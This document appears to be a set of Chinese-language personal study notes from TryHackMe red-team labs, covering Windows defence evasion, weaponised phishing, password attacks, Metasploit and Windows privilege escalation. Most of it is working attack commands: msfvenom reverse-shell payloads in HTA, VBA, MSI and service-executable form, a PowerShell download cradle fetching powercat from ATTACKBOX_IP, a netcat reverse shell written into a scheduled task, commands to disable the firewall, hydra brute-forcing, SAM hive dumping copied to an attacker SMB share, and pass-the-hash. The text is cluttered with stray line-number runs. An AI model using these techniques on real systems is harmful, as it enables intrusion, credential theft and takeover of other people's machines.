23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101

#### 看防火墙

##### wmic

- PS C:\Users\thm> wmic /namespace:\\root\securitycenter2 path antivirusproduct
- 大概是这样,没做出来

##### 微软防御

- 查看windows Defender
- Get-Service WinDefend
- 获取当前windows Defender状态
- Get-MpComputerStatus | select RealTimeProtectionEnabled
- 防火墙配置文件使用情况查看
- Get-NetFirewallProfile | Format-Table Name, Enabled
- 禁用防火墙配置文件
- Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
- 查看防火墙规则
- Get-NetFirewallRule | select DisplayName, Enabled, Description
- 不知道防火墙会阻止什么,用powershell测试
- Test-NetConnection -ComputerName 127.0.0.1 -Port 80
- (New-Object System.Net.Sockets.TcpClient("127.0.0.1", "80")).Connected

##### sysmon系统监视器

- 检测被害主机是否可用sysmon

- Get-Process | Where-Object { $_.ProcessName -eq "Sysmon" }

- 或者找以下服务

- Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"

- 或者查找注册表

- Get-CimInstance win32_service -Filter "Description = 'System Monitor service'"

- 若已安装可以尝试查找sysmon配置文件(如果有权,来了解管理员在监视什么

- findstr /si '<ProcessCreate onmatch="exclude">' C:\tools\*

- wmic枚举电脑里面的应用和版本

- wmic product get name,version

- 获取隐藏目录

- Get-ChildItem -Hidden -Path C:\Users\kkidd\Desktop\

- 题目查找服务

- net start
- wmic service where "name like 'THM Service" get Name,PathName
- 不好使就换
- Get-WmiObject -Class Win32_Service | Where-Object { $_.Name -eq "THM Service" } | Select-Object Name, PathName
- Get-Process -Name THM-Service
- netstat -noa |findstr "LISTENING" |findstr "2748"

- DNS 服务是任何 Active Directory 环境和网络中常用的协议。附加的机器为 AD 提供 DNS 服务。让我们通过执行区域传输 DNS 来枚举 DNS

- nslookup.exe

- server 本地IP

- ls -d thmredteam.com

可以查看到域控IP

#### 常见防御

##### HIDS/ HIPS

Host-based Intrusion Detection/Prevention System入侵检测和预防系统

##### EDR

Endpoint Detection and Response端点检测和响应

EDR检测软件,常见如下👇

Cylance
Crowdstrike
Symantec
SentinelOne
Many others

##### SIEM

Security Information and Event Management (SIEM)安全信息和事件管理

##### NIDS/NIPS

Intrusion Detection System and Intrusion Prevention System (NIDS/NIPS)入侵检测和入侵防御系统

## 武器化钓鱼

### 进程迁移

拿到shell之后先迁移避免因为关闭docx导致连接终端,如下

run post/windows/manage/migrate

1
2
3
4
5

远程桌面连接

RDP协议

xfreerdp /v:10.10.172.9 /u:thm /p:TryHackM3 +clipboard

1
2
3

WinRM协议

evil-winrm -i 10.10.44.235 -u thmuser1 -p Password321

1
2
3
4
5
6
7
8
9
10
11
12
13



- 启用剪切板共享功能进行连接

### WSH

(Windows Scripting Host)

Microsoft Visual Basic 脚本 (VBScript),包括vbs 和vbe

#### vbs脚本

Dim message
message = “Welcome to THM”
MsgBox message

1
2
3

弹计算器👇弹不了cmd不知道为什么

Dim message
message = “Welcome to THM”
MsgBox message

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

#### 执行方法

- **双击**
- wscript运行
- wscript c:\Users\thm\Desktop\payload.vbs
- csript.exe运行
- cscript.exe c:\Users\thm\Desktop\payload.vbs
- (vbs列入黑名单的
- wscript /e:VBScript c:\Users\thm\Desktop\payload.txt

### HTA

HTML Application (HTA)包含 JScript 和 VBScript 的动态 HTML页面。

LOLBINS(Living-of-the-land Binaries)工具 mshta用于执行HTA文件。它可以自行执行,也可以从 Internet Explorer 自动执行

#### 执行方法

先在文件夹开启web服务

- python3 -m http.server 8090

当前目录要有1.hta文件,内容如下

1
2
3
4
5
6
7

在受害者机器上,使用 Microsoft Edge 访问恶意链接 http://IP:8090/1.hta 。下载即可出cmd,但在win11上不好使

##### 一msf

msf生成回连码

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.232.37 LPORT=443 -f hta-psh -o thm.hta
1
2
3
4
5
6
7
8
9

开启监听nc -lvp 443

开启web服务,让受害机访问http:/10.8.232.3:8090/thm.hta下载并且运行

##### 二msf

直接msf一条龙服务

msf6 > use exploit/windows/misc/hta_server set LHOST 10.9.0.81 set LPORT 443 set SRVHOST 10.9.0.81 set payload windows/meterpreter/reverse_tcp exploit
1
2
3
4
5
6
7
8
9
10
11

下边会给个连接,让受害者下载并且运行就行

### VBA

Visual Basic for Application (VBA)

macro宏

打开docx文件,编写宏**view → macros**->里面这么写,选**document1**,保存为**Word 97-2003 模板**,其中启用了宏

Sub Document_Open() THM End Sub

Sub AutoOpen()
THM
End Sub

Sub THM()
MsgBox (“Welcome to Weaponization Room!”)
End Sub

1
2
3
4
5
6
7

Microsoft Word 将显示一条安全消息,表明宏已被禁用,并让我们选择启用它。让我们启用它并继续检查结果

再次打开时会出现弹出字符

弹出计算机👇

Sub Document_Open()
THM
End Sub

Sub AutoOpen()
THM
End Sub

Sub THM()
Dim payload As String
payload = “calc.exe”
CreateObject(“Wscript.Shell”).Run payload,0
End Sub

1
2
3
4
5
6
7

#### 执行方法

##### 一msf

生成码,放在宏里面

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.50.159.15 LPORT=443 -f vba

1
2
3

监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.9.0.81
set LPORT 443
exploit

1
2
3
4
5
6
7
8
9

### PSH

PowerShell(PSH)

Microsoft 出于安全目的禁用执行 PowerShell 脚本.ps1。PowerShell执行策略设置为Restricted

#### 用来确定powershell设置

Get-ExecutionPolicy
显示restricted 表示受限制的

1
2
3

#### 修改👇

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

1
2
3

#### 绕过

powershell -ex bypass -File thm.ps1

1
2
3
4
5

#### 使用

攻击机执行

git clone https://github.com/besimorhino/powercat.git
下载完成之后👇
cd powercat
python3 -m http.server 8080
监听
nc -lvp 1337

1
2
3

受害靶机执行

powershell -c “IEX(New-Object System.Net.WebClient).DownloadString(‘http://ATTACKBOX_IP:8080/powercat.ps1');powercat -c ATTACKBOX_IP -p 1337 -e cmd”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

## 密码

默认密码库

- [https://cirt.net/密码](https://cirt.net/passwords)
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/

弱密码库

- [https://wiki.skullsecurity.org/index.php?title=密码](https://wiki.skullsecurity.org/index.php?title=Passwords) - 其中包括最著名的密码集合。
- [SecLists——](https://github.com/danielmiessler/SecLists/tree/master/Passwords) 各种列表的巨大集合,不仅用于密码破解。

泄露密码

包括webhost、elitehacker、hak5、 Hotmail、 PhpBB等公司的泄露信息:

- [安全列表/密码/泄露的数据库](https://github.com/danielmiessler/SecLists/tree/master/Passwords/Leaked-Databases)

处理

- cat file1.txt file2.txt file3.txt > combined_list.txt
- 合并单词表
- sort combined_list.txt | uniq -u > cleaned_combined_list.txt
- 去除重复单词

### 密码工具

#### Cewl

可用于有效地抓取网站并提取字符串或关键字。Cewl是一款功能强大的工具,可生成特定于特定公司或目标的单词表。

- cewl -w list.txt -d 5 -m 5 http://thm.labs

#### username_generator

- git clone https://github.com/therodri2/username_generator.git
- cd username_generator
- python3 username_generator.py -h

使用方法👇

- echo "John Smith" > users.lst
- python3 username_generator.py -w users.lst

#### crunch

以下示例创建一个包含 2 个字符的所有可能组合的单词列表,包括 0-4 和 ad。 我们可以使用 -o参数并指定一个文件来保存输出

- crunch 2 2 01234abcd -o crunch.txt

什么是 crunch 命令来生成包含THM@%的列表 并输出到名为tryhackme.txt 的文件 ?

- crunch 5 5 -t "THM^^" -o tryhackme.txt

以 pass开头 并跟随着两个数字

- crunch 6 6 -t pass%%

crunch 还允许我们使用 -t 选项指定字符集来组合我们选择的单词。以下是一些其他选项,可用于帮助创建您选择的不同组合:
@ - 小写字母
, - 大写字母字符
% - 数字字符
^ - 特殊字符,包括空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#### CUPP

Common User Passwords Profiler

- python3 cupp.py -i
- 交互模式
- python3 cupp.py -l
- 预先安装的单词表
- python3 cupp.py -a
- 从alecto数据库中提取默认用户密码

#### hashcat

##### 识别hash类型

hashid或 hash-identifier之类的工具

##### 没字典

/usr/share/wordlists/rockyou.txt: No such file or directory

安装

sudo apt-get update
sudo apt-get install wordlists
gzip -d /usr/share/wordlists/rockyou.txt.gz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

-a 0 将攻击模式设置为字典攻击

-m 0 设置破解 MD5 哈希的哈希模式;对于其他类型,运行hashcat -h获取受支持的哈希列表。

-m 100 sha-1加密

#### 暴力破解

hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d

-a 3 将攻击模式设置为暴力攻击

?d?d?d?d ?d 告诉 hashcat 使用数字。在我们的例子中,?d?d?d?d 表示从 0000 开始到 9999 结束的四位数字

--stdout将结果打印到终端

##### john-the-ripper

cat /etc/john/john.conf|grep “List.Rules:” | cut -d”.” -f3 | cut -d”:” -f2 | cut -d”]” -f1 | awk NFcat /etc/john/john.conf|grep “List.Rules:” | cut -d”.” -f3 | cut -d”:” -f2 | cut -d”]” -f1 | awk NF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

--wordlist= 指定单词表或词典文件。

--rules 指定要使用哪条或哪几条规则。

--stdout 将输出打印到终端。

|wc -l 计算 John 写了多少行。

- sudo vi /etc/john/john.conf
[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]

[List.Rules: THM -Password-Attacks] 指定规则名称THM -Password-Attacks。

Az使用-p 表示来自原始单词列表/词典的单个单词。

“[0-9]”在单词末尾 附加一位数字(从 0到 9 )。对于两位数字,我们可以添加“[0-9][0-9]” ,依此类推。

^[!@#$] 在每个单词的开头添加一个特殊字符。 ^ 表示行/单词的开头。注意,将 ^ 更改为 $会将特殊字符附加到行/单词的末尾。

###### 用规则输出密码

john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout

#### hydra

##### 爆破ftp协议

hydra -l ftp -P passlist.txt ftp://10.10.x.x

##### 爆破smtp协议

hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v

例题

- 先去john出规则密码
- sudo vi /etc/john/john.conf
- [List.Rules:thm1]
- Az"[0–9][0–9]" ^[!@]
- 生成
- john --wordlist=clinic.lst --rules=thm1 --stdout > dict.lst
- 爆破
- hydra -l pittman@clinic.thmredteam.com -P dict.lst smtp://10.10.74.70 -v

##### 爆破ssh协议

hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v

- 题
- hydra -l pittman@clinic.thmredteam.com -P dict.lst smtp://10.10.74.70:465 -v -f

##### 爆破html页面

hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form “/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

**-l admin** 我们指定单个用户名,使用-L 获取用户名单词表

**-P Path** 指定单词表的完整路径,您可以 使用-p指定单个密码。

**10.10.xx** 目标的 IP 地址或完全限定域名 (FQDN)。

**http-get-form HTTP** 请求的类型,可以是http-get-form或http-post-form 。

接下来,我们指定使用以下内容拆分的 URL、路径和条件:

**login-get/index.php** 目标网络服务器上登录页面的路径。

**username=^USER^&password=^PASS^** 是暴力破解的参数,我们注入^USER^来暴力破解用户名,注入 ^PASS^ 来暴力破解指定字典中的密码。

以下部分对于通过使用F=指定“失败”条件来消除误报非常重要。

成功条件, S= 。 通过分析网页或在枚举阶段,您将获得有关这些条件的更多信息! 您为这些值设置的内容取决于您从服务器收到的登录失败和登录成功尝试的响应。例如,如果您在登录失败后在网页上收到“密码无效”消息,请设置 F=密码无效。

或者例如,在枚举过程中,我们发现 Web 服务器提供 logout.php服务。使用有效凭据登录登录页面后,我们可以猜测 logout.php 会在页面的某个位置。因此,我们可以告诉 hydra 在每个请求的 HTML 中查找文本 logout.php 。

**S=logout.php 识别有效凭证的成功条件**

**-f** 在找到有效的用户名和密码后停止暴力攻击

## 枚举

enumerate

## metasploit

开发文档

https://docs.metasploit.com/docs/pentesting/metasploit-guide-upgrading-shells-to-meterpreter.html

1
2
3

就是msfconsole位于以下目录

/opt/metasploit-framework/embedded/framework/modules

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

### evasion逃逸模块

绕过防病毒软件

### Encoders编码

对exploit和payload进行编码

### Auxiliary辅助

扫描仪、爬虫和模糊器

### exploit漏洞库

### payload

在目标系统上运行的代码

#### stagers

msf与目标系统间建立联系,先上传一stager,再下载剩余的,

#### singles

自包含载荷,又称单一载荷

### map邮票

渗透测试过程的最后阶段,即后期开发中发挥作用

### 基础命令

info
back
background
searh
use
unset #消除指定参数
unset all #全部参数清除
setg #设置所有模块的值
exploit -z #扫漏洞并进入后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

### 端口扫描

#### 一

search portscan

use

set

run

#### 二

nmap

nmap -Ss 10.10.10.221

指定端口全面扫描nmap -A 10.10.10.221 -p 8000

#### udp服务识别1

scanner/discovery/udp_sweep模块

#### smb扫描

scanner/smb/smb_version模块和smb_enumshares模块

##### msb登录爆破扫描

use smb_login

set passfile /usr/share/wordlists/thm/MetasploitWordlist.txt

set smbuser

set rhosts

run

### 数据库,针对多个目标

systemctl start postgresql

msfdb init

在msf里看数据库状态db_status

workspace #列出工作区

workspace -a 或者-d 删除工作区

-h 列出可用项

db_nmap -sV -p- IP #会将所有结果写入数据库中

然后hosts,services会列出所有和目标系统上服务和相关信息

### 漏扫

use auxiliary/scanner/vnc/

### 进程

getpid 查看msf的pid

ps 看到的是spoolsv.exe

tasklist /m /fi “pid eq 1304”
查看 Meterpreter 进程(本例中为PID 1304)使用的 DLL(动态链接库),我们仍然找不到任何东西(例如没有 meterpreter.dll)

1
2
3

### 其他设备

msfvenom –list payloads | grep meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

- Android
- Apple iOS
- Java
- Linux
- OSX
- PHP
- Python
- Windows

### 其他骚操作

如果您运行该 `help` 命令,您将看到 Meterpreter命令列在不同的类别下。

- 核心命令
- 文件系统命令
- 网络命令
- 系统命令
- 用户界面命令
- 网络摄像头命令
- 音频输出命令
- 提升命令
- 密码数据库命令
- Timestomp 命令

#### 核心命令



- `background`:当前会话的背景
- `exit`:终止Meterpreter会话
- `guid`:获取会话 GUID(全局唯一标识符)
- `help`:显示帮助菜单
- `info`:显示有关 Post 模块的信息
- `irb`:在当前会话中打开交互式 Ruby shell
- `load`:加载一个或多个Meterpreter扩展
- `migrate`:允许您将Meterpreter迁移到另一个进程
- `run`:执行Meterpreter脚本或 Post 模块
- `sessions`:快速切换到另一个会话

#### 文件系统命令

- `cd`:将更改目录
- `ls`:将列出当前目录中的文件(dir 也可以)
- `pwd`:打印当前工作目录
- `edit`:将允许您编辑文件
- `cat`:将在屏幕上显示文件的内容
- `rm`:将删除指定文件
- `search`:将搜索文件
- `upload`:将上传文件或目录
- `download`:将下载文件或目录

#### 网络命令

- `arp`:显示主机ARP(地址解析协议)缓存
- `ifconfig`:显示目标系统上可用的网络接口
- `netstat`:显示网络连接
- `portfwd`:将本地端口转发到远程服务
- `route`:允许您查看和修改路由表

#### 系统命令

- `clearev`:清除事件日志
- `execute`:执行命令
- `getpid`:显示当前进程标识符
- `getuid`:向用户显示Meterpreter正在以以下身份运行
- `kill`:终止进程
- `pkill`:通过名称终止进程
- `ps`:列出正在运行的进程
- `reboot`:重新启动远程计算机
- `shell`:进入系统命令 shell
- `shutdown`:关闭远程计算机
- `sysinfo`:获取有关远程系统的信息,例如操作系统

#### 其他命令

(这些命令将在帮助菜单中的不同菜单类别下列出)

- `idletime`:返回远程用户空闲的秒数
- `keyscan_dump`:转储击键缓冲区
- `keyscan_start`:开始捕获击键
- `keyscan_stop`:停止捕获按键
- `screenshare`:允许您实时观看远程用户的桌面
- `screenshot`:抓取交互式桌面的屏幕截图
- `record_mic`:从默认麦克风录制 X 秒的音频
- `webcam_chat`:开始视频聊天
- `webcam_list`:列出网络摄像头
- `webcam_snap`:从指定的网络摄像头拍摄快照
- `webcam_stream`:播放指定网络摄像头的视频流
- `getsystem`:尝试将您的权限提升至本地系统权限
- `hashdump`:转储 SAM 数据库的内容

### 高级设置

这边有时间重新学一下,能有一定程度的绕过流量检测

https://tryhackme.com/r/room/introtoc2

1
2
3

#### 生成修改标头后的有效负载

msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe

1
2
3
4
5

#### 修改apache文件

改的是靶机的

位置/etc/apache2/sites-available/000-default.conf

cat /etc/apache2/sites-available/000-default.conf | grep -v ‘#’

内容
<VirtualHost *:80>

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    <Directory>
            AllowOverride All
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
修改为
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
ProxyPass "/" "http://localhost:8080/"

<Directory>
    AllowOverride All
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

## 权限提升

### 思路表

1. 搜集密码,拿密码开
1. 无人值守的Windows安装
2. powershell历史
3. 已保存的用户凭证
4. iis配置
5. putty,
- 查注册表
2. 计划任务提权
1. 查找可写计划任务写进去
2. AlwaysInstallElevated
3. 服务配置滥用
1. 可修改服务指向文件
2. 未加引号的服务路径
3. 可修改服务配置
4. 滥用危险特权
1. 可读取system+sam,拿脚本打
2. utilman.exe 锁屏界面的哪个小圈
3. 未打补丁的安全包
- 打漏洞
4. 其他需要放入工具使用

**DACL**(**Discretionary Access Control List**)是 Windows 操作系统中用于控制对对象(如文件、文件夹、注册表项等)的访问权限的一种机制。它是访问控制列表(ACL,Access Control List)的一种类型。

### 1密码搜集

#### 无人值守的Windows安装

单个操作系统映像部署到多个主机。这些类型的安装称为无人值守安装

可能存在的位置

C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

#### powershell历史

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 上述命令只能在 cmd.exe 中运行 因为 Powershell 不会将其识别%userprofile%为环境变量。要从 Powershell 读取文件,您必须将其替换%userprofile%为$Env:userprofile
1
2
3
4
5

#### 已保存的用户凭证

没有密码

cmdkey /list runas /savecred /user:admin cmd.exe
1
2
3
4
5

#### IIS配置

Internet 信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在名为的文件中web.config

C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

快速查找
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

1
2
3
4
5

#### PuTTY从软件中检索

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f “Proxy” /s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

### 2计划任务提权

#### 法一

- 列出计时任务
- schtasks
- 检索服务详细信息
- schtasks /query /tn vulntask /fo list /v
- **检查**可执行文件的**权限**,我们使用**icacls**
- icacls c:\tasks\schtask.bat
- 将nc文件传入.bat
- echo c:\tools\nc64.exe -e cmd.exe 10.9.0.87 4444 > C:\tasks\schtask.bat
- 运行
- schtasks /run /tn vulntask

#### AlwaysInstallElevated

Windows安装程序文件(.msi文件)用于在系统上安装应用程序它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能允许我们生成以管理员权限运行的恶意 MSI 文件。

#### 方法

- 设置两个注册表

C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

1
2
3

- 用msf生成恶意.msi文件

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.0.87 LPORT=4444 -f msi -o malicious.msi

1
2
3

- 安装程序并监听

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

### 3服务配置滥用

#### Windows服务

Windows 服务由服务控制管理器(SCM)管理

Windows 计算机上的每项服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便能够与 SCM 通信,因此并非任何可执行文件都可以作为服务成功启动。每项服务还指定了服务将在其下运行的用户帐户。

- sc qc命令检查 apphostsvc 服务配置

关联的可执行文件是通过BINARY_PATH_NAME参数指定的,而用于运行该服务的账户则显示在SERVICE_START_NAME参数上。

服务具有自主访问控制列表 (DACL),它指示谁有权限启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。 DACL 可以从 Process Hacker(位于您计算机的桌面上)中看到

- Process Hacker程序
- 可以查看指示的谁有权限启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他特权。
- HKLM\SYSTEM\CurrentControlSet\Services\
- 所有服务都存储在注册表中
- 系统中每个服务都有一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,在ObjectName值上看到用于启动服务的帐户。如果为服务配置了DACL ,它将存储在名为Security 的子项中。
- 默认情况只有管理员才能修改注册表

#### 服务可执行文件权限不安全

检查服务

- sc qc WindowsScheduler

查看权限

- icacls C:\PROGRA~2\SYSTEM~1\WService.exe

生成码+开服务+监听

- msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe
- python3 -m http.server 8080

受害机执行powershell

- wget http://10.9.0.87:8080/rev-svc.exe -O rev-svc.exe

受害机上挪

cd C:\PROGRA2\SYSTEM1\

move WService.exe WService.exe.bkp
把原来的服务挪掉

move C:\Users\thm-unpriv\rev-svc.exe WService.exe
替换

icacls WService.exe /grant Everyone:F
向Everyone组授予权限

重启服务在正常情况下,您可能需要等待服务重新启动,但您已被分配权限自行重新启动服务以节省一些时间。从 cmd.exe 命令提示符中使用以下命令:
C:> sc stop windowsscheduler
C:> sc start windowsscheduler

1
2
3
4
5
6
7
8
9
10
11

#### 未加引号的服务路径

sc qc "disk sorter enterprise"

“”就是这个双引号

使用 Windows 服务时,如果将服务配置为指向“未加引号”的可执行文件,则会出现一种非常特殊的行为。

例如

BINARY_PATH_NAME : C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

1. 首先,搜索C:\\MyPrograms\\Disk.exe。如果存在,服务将运行该可执行文件。
2. 如果后者不存在,则将搜索C:\\MyPrograms\\Disk Sorter.exe。如果存在,服务将运行该可执行文件。
3. 如果后者不存在,它将搜索C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe。此选项预计会成功,并且通常会在默认安装中运行。

大多数服务可执行文件将默认安装在C:\Program Files或C:\Program Files (x86)下,非特权用户无法写入。这可以防止任何易受攻击的服务被利用。此规则有例外:- 某些安装程序会更改已安装文件夹的权限,从而使服务易受攻击。- 管理员可能会决定将服务二进制文件安装在非默认路径中。如果这样的路径是所有人均可写的,则可以利用该漏洞。

##### 做法

查看文件夹权限

- icacls c:\MyPrograms

move C:\PROGRA~2\SYSTEM~1\WService.exe C:\MyPrograms\Disk.exe

向上边一样生成exe码然后wget进来然后

C:> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
挪地方
C:> icacls C:\MyPrograms\Disk.exe /grant Everyone:F
开权限

1
2
3

重启服务去运行,kali监听即可

C:> sc stop “disk sorter enterprise”
C:> sc start “disk sorter enterprise”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

#### 不安全服务权限

如果服务 DACL(不是服务的可执行DACL)允许您修改服务的配置,您将能够重新配置该服务。这将允许您指向您需要的任何可执行文件,并使用您喜欢的任何帐户运行它,包括 SYSTEM 本身。

##### 检查DACL

可以使用Sysinternals套件中的Accesschlk

C:\tools\AccessChk> accesschk64.exe -qlc thmservice

![image-20250108152750435](https://github.com/DDL08/images/blob/img/img/image-20250108152750435.png?raw=true?raw=true)

意味着任何用户都可以重新配置该服务

##### 上码监听

wget http://10.9.0.87:8080/rev-svc.exe -O rev-svc.exe

1
2
3

授予所有人权限

C:> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

1
2
3

修改服务的关联可执行账户

C:> sc config THMService binPath= “C:\Users\thm-unpriv\rev-svc3.exe” obj= LocalSystem

1
2
3

服务重新启动

C:> sc stop THMService
C:> sc start THMService

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

### 4滥用危险特权

#### SeBackup/SeRestore

这没实现成功,脚本没找到

SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件,而忽略任何现有的DACL。

查看权限

- whoami /priv

备份sam和system的hash

从注册表中读取,

- reg save hklm\system C:\Users\THMBackup\system.hive
- reg save hklm\sam C:\Users\THMBackup\sam.hive

在kaili上开启共享文件夹服务,代码如下smbserver.py,放下边了

- user@attackerpc**$** mkdir share
- user@attackerpc**$** python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

然后开始传过去

copy C:\Users\THMBackup\sam.hive \ATTACKER_IP\public
copy C:\Users\THMBackup\system.hive \10.9.0.87\public\

1
2
3

然后在hashdump下来

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation

1
2
3
4
5

那个dump的脚本下来用不了,环境有问题

然后用管理员的hash传递进行攻击

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.128.56

1

#!/usr/bin/env python
#smbserver.py

Impacket - Collection of Python classes for working with network protocols.

Copyright (C) 2022 Fortra. All rights reserved.

This software is provided under a slightly modified version

of the Apache Software License. See the accompanying LICENSE file

for more information.

Description:

Simple SMB Server example.

Author:

Alberto Solino (@agsolino)

import sys
import argparse
import logging

from impacket.examples import logger
from impacket import smbserver, version
from impacket.ntlm import compute_lmhash, compute_nthash

if name == ‘main‘:

# Init the example's logger theme
print(version.BANNER)

parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
                                 "share specified as an argument. You need to be root in order to bind to port 445. "
                                 "For optional authentication, it is possible to specify username and password or the NTLM hash. "
                                 "Example: smbserver.py -comment 'My share' TMP /tmp")

parser.add_argument('shareName', action='store', help='name of the share to add')
parser.add_argument('sharePath', action='store', help='path of the share to add')
parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
parser.add_argument('-username', action="store", help='Username to authenticate clients')
parser.add_argument('-password', action="store", help='Password for the Username')
parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')

if len(sys.argv)==1:
    parser.print_help()
    sys.exit(1)

try:
   options = parser.parse_args()
except Exception as e:
   logging.critical(str(e))
   sys.exit(1)

logger.init(options.ts)

if options.debug is True:
    logging.getLogger().setLevel(logging.DEBUG)
    # Print the Library's installation path
    logging.debug(version.getInstallationPath())
else:
    logging.getLogger().setLevel(logging.INFO)

if options.comment is None:
    comment = ''
else:
    comment = options.comment

